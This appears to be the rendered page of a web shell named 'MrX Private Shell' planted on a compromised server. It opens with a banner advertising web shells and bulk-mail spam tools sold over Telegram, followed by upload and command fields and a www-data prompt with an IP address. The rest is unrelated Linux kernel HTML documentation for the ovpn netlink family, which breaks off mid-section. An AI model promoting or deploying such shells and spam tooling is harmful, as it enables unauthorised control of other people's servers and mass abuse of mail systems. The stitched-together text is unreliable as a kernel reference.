__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

www-data@216.73.216.28: ~ $ 
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Family ovpn netlink specification &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="Family ovs_datapath netlink specification" href="ovs_datapath.html" />
    <link rel="prev" title="Family nlctrl netlink specification" href="nlctrl.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../../networking/index.html">Networking</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../netlabel/index.html">NetLabel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../infiniband/index.html">InfiniBand</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../isdn/index.html">ISDN</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../mhi/index.html">MHI</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/netlink/specs/ovpn.yaml.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="family-ovpn-netlink-specification">
<span id="netlink-ovpn"></span><h1><a class="toc-backref" href="#id28" role="doc-backlink">Family <code class="docutils literal notranslate"><span class="pre">ovpn</span></code> netlink specification</a><a class="headerlink" href="#family-ovpn-netlink-specification" title="Link to this heading">¶</a></h1>
<nav class="contents" id="contents">
<p class="topic-title">Contents</p>
<ul class="simple">
<li><p><a class="reference internal" href="#family-ovpn-netlink-specification" id="id28">Family <code class="docutils literal notranslate"><span class="pre">ovpn</span></code> netlink specification</a></p>
<ul>
<li><p><a class="reference internal" href="#summary" id="id29">Summary</a></p></li>
<li><p><a class="reference internal" href="#operations" id="id30">Operations</a></p>
<ul>
<li><p><a class="reference internal" href="#peer-new" id="id31">peer-new</a></p></li>
<li><p><a class="reference internal" href="#peer-set" id="id32">peer-set</a></p></li>
<li><p><a class="reference internal" href="#peer-get" id="id33">peer-get</a></p></li>
<li><p><a class="reference internal" href="#peer-del" id="id34">peer-del</a></p></li>
<li><p><a class="reference internal" href="#peer-del-ntf" id="id35">peer-del-ntf</a></p></li>
<li><p><a class="reference internal" href="#key-new" id="id36">key-new</a></p></li>
<li><p><a class="reference internal" href="#key-get" id="id37">key-get</a></p></li>
<li><p><a class="reference internal" href="#key-swap" id="id38">key-swap</a></p></li>
<li><p><a class="reference internal" href="#key-swap-ntf" id="id39">key-swap-ntf</a></p></li>
<li><p><a class="reference internal" href="#key-del" id="id40">key-del</a></p></li>
</ul>
</li>
<li><p><a class="reference internal" href="#multicast-groups" id="id41">Multicast groups</a></p></li>
<li><p><a class="reference internal" href="#definitions" id="id42">Definitions</a></p>
<ul>
<li><p><a class="reference internal" href="#nonce-tail-size" id="id43">nonce-tail-size</a></p></li>
<li><p><a class="reference internal" href="#cipher-alg" id="id44">cipher-alg</a></p></li>
<li><p><a class="reference internal" href="#del-peer-reason" id="id45">del-peer-reason</a></p></li>
<li><p><a class="reference internal" href="#key-slot" id="id46">key-slot</a></p></li>
</ul>
</li>
<li><p><a class="reference internal" href="#attribute-sets" id="id47">Attribute sets</a></p>
<ul>
<li><p><a class="reference internal" href="#peer" id="id48">peer</a></p></li>
<li><p><a class="reference internal" href="#peer-new-input" id="id49">peer-new-input</a></p></li>
<li><p><a class="reference internal" href="#peer-set-input" id="id50">peer-set-input</a></p></li>
<li><p><a class="reference internal" href="#peer-del-input" id="id51">peer-del-input</a></p></li>
<li><p><a class="reference internal" href="#keyconf" id="id52">keyconf</a></p></li>
<li><p><a class="reference internal" href="#keydir" id="id53">keydir</a></p></li>
<li><p><a class="reference internal" href="#keyconf-get" id="id54">keyconf-get</a></p></li>
<li><p><a class="reference internal" href="#keyconf-swap-input" id="id55">keyconf-swap-input</a></p></li>
<li><p><a class="reference internal" href="#keyconf-del-input" id="id56">keyconf-del-input</a></p></li>
<li><p><a class="reference internal" href="#ovpn" id="id57">ovpn</a></p></li>
<li><p><a class="reference internal" href="#ovpn-peer-new-input" id="id58">ovpn-peer-new-input</a></p></li>
<li><p><a class="reference internal" href="#ovpn-peer-set-input" id="id59">ovpn-peer-set-input</a></p></li>
<li><p><a class="reference internal" href="#ovpn-peer-del-input" id="id60">ovpn-peer-del-input</a></p></li>
<li><p><a class="reference internal" href="#ovpn-keyconf-get" id="id61">ovpn-keyconf-get</a></p></li>
<li><p><a class="reference internal" href="#ovpn-keyconf-swap-input" id="id62">ovpn-keyconf-swap-input</a></p></li>
<li><p><a class="reference internal" href="#ovpn-keyconf-del-input" id="id63">ovpn-keyconf-del-input</a></p></li>
</ul>
</li>
</ul>
</li>
</ul>
</nav>
<section id="summary">
<h2><a class="toc-backref" href="#id29" role="doc-backlink">Summary</a><a class="headerlink" href="#summary" title="Link to this heading">¶</a></h2>
<p>Netlink protocol to control OpenVPN network devices</p>
</section>
<section id="operations">
<h2><a class="toc-backref" href="#id30" role="doc-backlink">Operations</a><a class="headerlink" href="#operations" title="Link to this heading">¶</a></h2>
<section id="peer-new">
<span id="ovpn-operation-peer-new"></span><h3><a class="toc-backref" href="#id31" role="doc-backlink">peer-new</a><a class="headerlink" href="#peer-new" title="Link to this heading">¶</a></h3>
<p>Add a remote peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-peer-new-input"><span class="std std-ref">ovpn-peer-new-input</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="peer-set">
<span id="ovpn-operation-peer-set"></span><h3><a class="toc-backref" href="#id32" role="doc-backlink">peer-set</a><a class="headerlink" href="#peer-set" title="Link to this heading">¶</a></h3>
<p>modify a remote peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-peer-set-input"><span class="std std-ref">ovpn-peer-set-input</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="peer-get">
<span id="ovpn-operation-peer-get"></span><h3><a class="toc-backref" href="#id33" role="doc-backlink">peer-get</a><a class="headerlink" href="#peer-get" title="Link to this heading">¶</a></h3>
<p>Retrieve data about existing remote peers (or a specific one)</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn"><span class="std std-ref">ovpn</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
<dt><strong>reply</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
<dt class="field-even">dump<span class="colon">:</span></dt>
<dd class="field-even"><dl class="simple">
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>]</p>
</dd>
</dl>
</dd>
<dt><strong>reply</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="peer-del">
<span id="ovpn-operation-peer-del"></span><h3><a class="toc-backref" href="#id34" role="doc-backlink">peer-del</a><a class="headerlink" href="#peer-del" title="Link to this heading">¶</a></h3>
<p>Delete existing remote peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-peer-del-input"><span class="std std-ref">ovpn-peer-del-input</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">peer</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="peer-del-ntf">
<span id="ovpn-operation-peer-del-ntf"></span><h3><a class="toc-backref" href="#id35" role="doc-backlink">peer-del-ntf</a><a class="headerlink" href="#peer-del-ntf" title="Link to this heading">¶</a></h3>
<p>Notification about a peer being deleted</p>
<dl class="field-list simple">
<dt class="field-odd">notify<span class="colon">:</span></dt>
<dd class="field-odd"><p>peer-get</p>
</dd>
<dt class="field-even">mcgrp<span class="colon">:</span></dt>
<dd class="field-even"><p>peers</p>
</dd>
</dl>
</section>
<section id="key-new">
<span id="ovpn-operation-key-new"></span><h3><a class="toc-backref" href="#id36" role="doc-backlink">key-new</a><a class="headerlink" href="#key-new" title="Link to this heading">¶</a></h3>
<p>Add a cipher key for a specific peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn"><span class="std std-ref">ovpn</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">keyconf</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="key-get">
<span id="ovpn-operation-key-get"></span><h3><a class="toc-backref" href="#id37" role="doc-backlink">key-get</a><a class="headerlink" href="#key-get" title="Link to this heading">¶</a></h3>
<p>Retrieve non-sensitive data about peer key and cipher</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-keyconf-get"><span class="std std-ref">ovpn-keyconf-get</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">keyconf</span></code>]</p>
</dd>
</dl>
</dd>
<dt><strong>reply</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">keyconf</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="key-swap">
<span id="ovpn-operation-key-swap"></span><h3><a class="toc-backref" href="#id38" role="doc-backlink">key-swap</a><a class="headerlink" href="#key-swap" title="Link to this heading">¶</a></h3>
<p>Swap primary and secondary session keys for a specific peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-keyconf-swap-input"><span class="std std-ref">ovpn-keyconf-swap-input</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">keyconf</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
<section id="key-swap-ntf">
<span id="ovpn-operation-key-swap-ntf"></span><h3><a class="toc-backref" href="#id39" role="doc-backlink">key-swap-ntf</a><a class="headerlink" href="#key-swap-ntf" title="Link to this heading">¶</a></h3>
<p>Notification about key having exhausted its IV space and requiring renegotiation</p>
<dl class="field-list simple">
<dt class="field-odd">notify<span class="colon">:</span></dt>
<dd class="field-odd"><p>key-get</p>
</dd>
<dt class="field-even">mcgrp<span class="colon">:</span></dt>
<dd class="field-even"><p>peers</p>
</dd>
</dl>
</section>
<section id="key-del">
<span id="ovpn-operation-key-del"></span><h3><a class="toc-backref" href="#id40" role="doc-backlink">key-del</a><a class="headerlink" href="#key-del" title="Link to this heading">¶</a></h3>
<p>Delete cipher key for a specific peer</p>
<dl class="field-list simple">
<dt class="field-odd">attribute-set<span class="colon">:</span></dt>
<dd class="field-odd"><p><a class="reference internal" href="#ovpn-attribute-set-ovpn-keyconf-del-input"><span class="std std-ref">ovpn-keyconf-del-input</span></a></p>
</dd>
<dt class="field-even">flags<span class="colon">:</span></dt>
<dd class="field-even"><p>[<code class="docutils literal notranslate"><span class="pre">admin-perm</span></code>]</p>
</dd>
<dt class="field-odd">do<span class="colon">:</span></dt>
<dd class="field-odd"><dl class="simple">
<dt><strong>pre</strong></dt><dd><p>ovpn-nl-pre-doit</p>
</dd>
<dt><strong>post</strong></dt><dd><p>ovpn-nl-post-doit</p>
</dd>
<dt><strong>request</strong></dt><dd><dl class="field-list simple">
<dt class="field-odd">attributes<span class="colon">:</span></dt>
<dd class="field-odd"><p>[<code class="docutils literal notranslate"><span class="pre">ifindex</span></code>, <code class="docutils literal notranslate"><span class="pre">keyconf</span></code>]</p>
</dd>
</dl>
</dd>
</dl>
</dd>
</dl>
</section>
</section>
<section id="multicast-groups">
<h2><a class="toc-backref" href="#id41" role="doc-backlink">Multicast groups</a><a class="headerlink" href="#multicast-groups" title="Link to this heading">¶</a></h2>
<ul class="simple">
<li><p>peers</p></li>
</ul>
</section>
<section id="definitions">
<h2><a class="toc-backref" href="#id42" role="doc-backlink">Definitions</a><a class="headerlink" href="#definitions" title="Link to this heading">¶</a></h2>
<section id="nonce-tail-size">
<span id="ovpn-definition-nonce-tail-size"></span><h3><a class="toc-backref" href="#id43" role="doc-backlink">nonce-tail-size</a><a class="headerlink" href="#nonce-tail-size" title="Link to this heading">¶</a></h3>
<dl class="field-list simple">
<dt class="field-odd">type<span class="colon">:</span></dt>
<dd class="field-odd"><p>const</p>
</dd>
<dt class="field-even">value<span class="colon">:</span></dt>
<dd class="field-even"><p>8</p>
</dd>
</dl>
</section>
<section id="cipher-alg">
<span id="ovpn-definition-cipher-alg"></span><h3><a class="toc-backref" href="#id44" role="doc-backlink">cipher-alg</a><a class="headerlink" href="#cipher-alg" title="Link to this heading">¶</a></h3>
<dl class="field-list simple">
<dt class="field-odd">type<span class="colon">:</span></dt>
<dd class="field-odd"><p>enum</p>
</dd>
<dt class="field-even">entries<span class="colon">:</span></dt>
<dd class="field-even"><ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">none</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">aes-gcm</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">chacha20-poly1305</span></code></p></li>
</ul>
</dd>
</dl>
</section>
<section id="del-peer-reason">
<span id="ovpn-definition-del-peer-reason"></span><h3><a class="toc-backref" href="#id45" role="doc-backlink">del-peer-reason</a><a class="headerlink" href="#del-peer-reason" title="Link to this heading">¶</a></h3>
<dl class="field-list simple">
<dt class="field-odd">type<span class="colon">:</span></dt>
<dd class="field-odd"><p>enum</p>
</dd>
<dt class="field-even">entries<span class="colon">:</span></dt>
<dd class="field-even"><ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">teardown</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">userspace</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">expired</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">transport-error</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">transport-disconnect</span></code></p></li>
</ul>
</dd>
</dl>
</section>
<section id="key-slot">
<span id="ovpn-definition-key-slot"></span><h3><a class="toc-backref" href="#id46" role="doc-backlink">key-slot</a><a class="headerlink" href="#key-slot" title="Link to this heading">¶</a></h3>
<dl class="field-list simple">
<dt class="field-odd">type<span class="colon">:</span></dt>
<dd class="field-odd"><p>enum</p>
</dd>
<dt class="field-even">entries<span class="colon">:</span></dt>
<dd class="field-even"><ul class="simple">
<li><p><code class="docutils literal notranslate"><span class="pre">primary</span></code></p></li>
<li><p><code class="docutils literal notranslate"><span class="pre">secondary</span></code></p></li>
</ul>
</dd>
</dl>
</section>
</section>
<section id="attribute-sets">
<h2><a class="toc-backref" href="#id47" role="doc-backlink">Attribute sets</a><a class="headerlink" href="#attribute-sets" title="Link to this heading">¶</a></h2>
<section id="peer">
<span id="ovpn-attribute-set-peer"></span><h3><a class="toc-backref" href="#id48" role="doc-backlink">peer</a><a class="headerlink" href="#peer" title="Link to this heading">¶</a></h3>
<section id="id-u32">
<h4>id (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#id-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The unique ID of the peer in the device context. To be used to identify peers during operations for a specific device</p>
</dd>
</dl>
</section>
<section id="remote-ipv4-u32">
<h4>remote-ipv4 (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#remote-ipv4-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The remote IPv4 address of the peer</p>
</dd>
<dt class="field-even">byte-order<span class="colon">:</span></dt>
<dd class="field-even"><p>big-endian</p>
</dd>
<dt class="field-odd">display-hint<span class="colon">:</span></dt>
<dd class="field-odd"><p>ipv4</p>
</dd>
</dl>
</section>
<section id="remote-ipv6-binary">
<h4>remote-ipv6 (<code class="docutils literal notranslate"><span class="pre">binary</span></code>)<a class="headerlink" href="#remote-ipv6-binary" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The remote IPv6 address of the peer</p>
</dd>
<dt class="field-even">display-hint<span class="colon">:</span></dt>
<dd class="field-even"><p>ipv6</p>
</dd>
</dl>
</section>
<section id="remote-ipv6-scope-id-u32">
<h4>remote-ipv6-scope-id (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#remote-ipv6-scope-id-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The scope id of the remote IPv6 address of the peer (RFC2553)</p>
</dd>
</dl>
</section>
<section id="remote-port-u16">
<h4>remote-port (<code class="docutils literal notranslate"><span class="pre">u16</span></code>)<a class="headerlink" href="#remote-port-u16" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The remote port of the peer</p>
</dd>
<dt class="field-even">byte-order<span class="colon">:</span></dt>
<dd class="field-even"><p>big-endian</p>
</dd>
</dl>
</section>
<section id="socket-u32">
<h4>socket (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#socket-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The socket to be used to communicate with the peer</p>
</dd>
</dl>
</section>
<section id="socket-netnsid-s32">
<h4>socket-netnsid (<code class="docutils literal notranslate"><span class="pre">s32</span></code>)<a class="headerlink" href="#socket-netnsid-s32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The ID of the netns the socket assigned to this peer lives in</p>
</dd>
</dl>
</section>
<section id="vpn-ipv4-u32">
<h4>vpn-ipv4 (<code class="docutils literal notranslate"><span class="pre">u32</span></code>)<a class="headerlink" href="#vpn-ipv4-u32" title="Link to this heading">¶</a></h4>
<dl class="field-list simple">
<dt class="field-odd">doc<span class="colon">:</span></dt>
<dd class="field-odd"><p>The IPv4 address assigned to the peer by the server</p>
</dd>
<dt class="field-even">byte-order<span class="colon">:</span></dt>
<dd class="field-even"><p>big-endian</p>
</dd>
<dt class="field-odd">display-hint<span class="colon">:</span></dt>
<dd class="field-odd"><p>ipv4</p>
</dd>
</dl>
</section>
<section id="vpn-ipv6-binary">
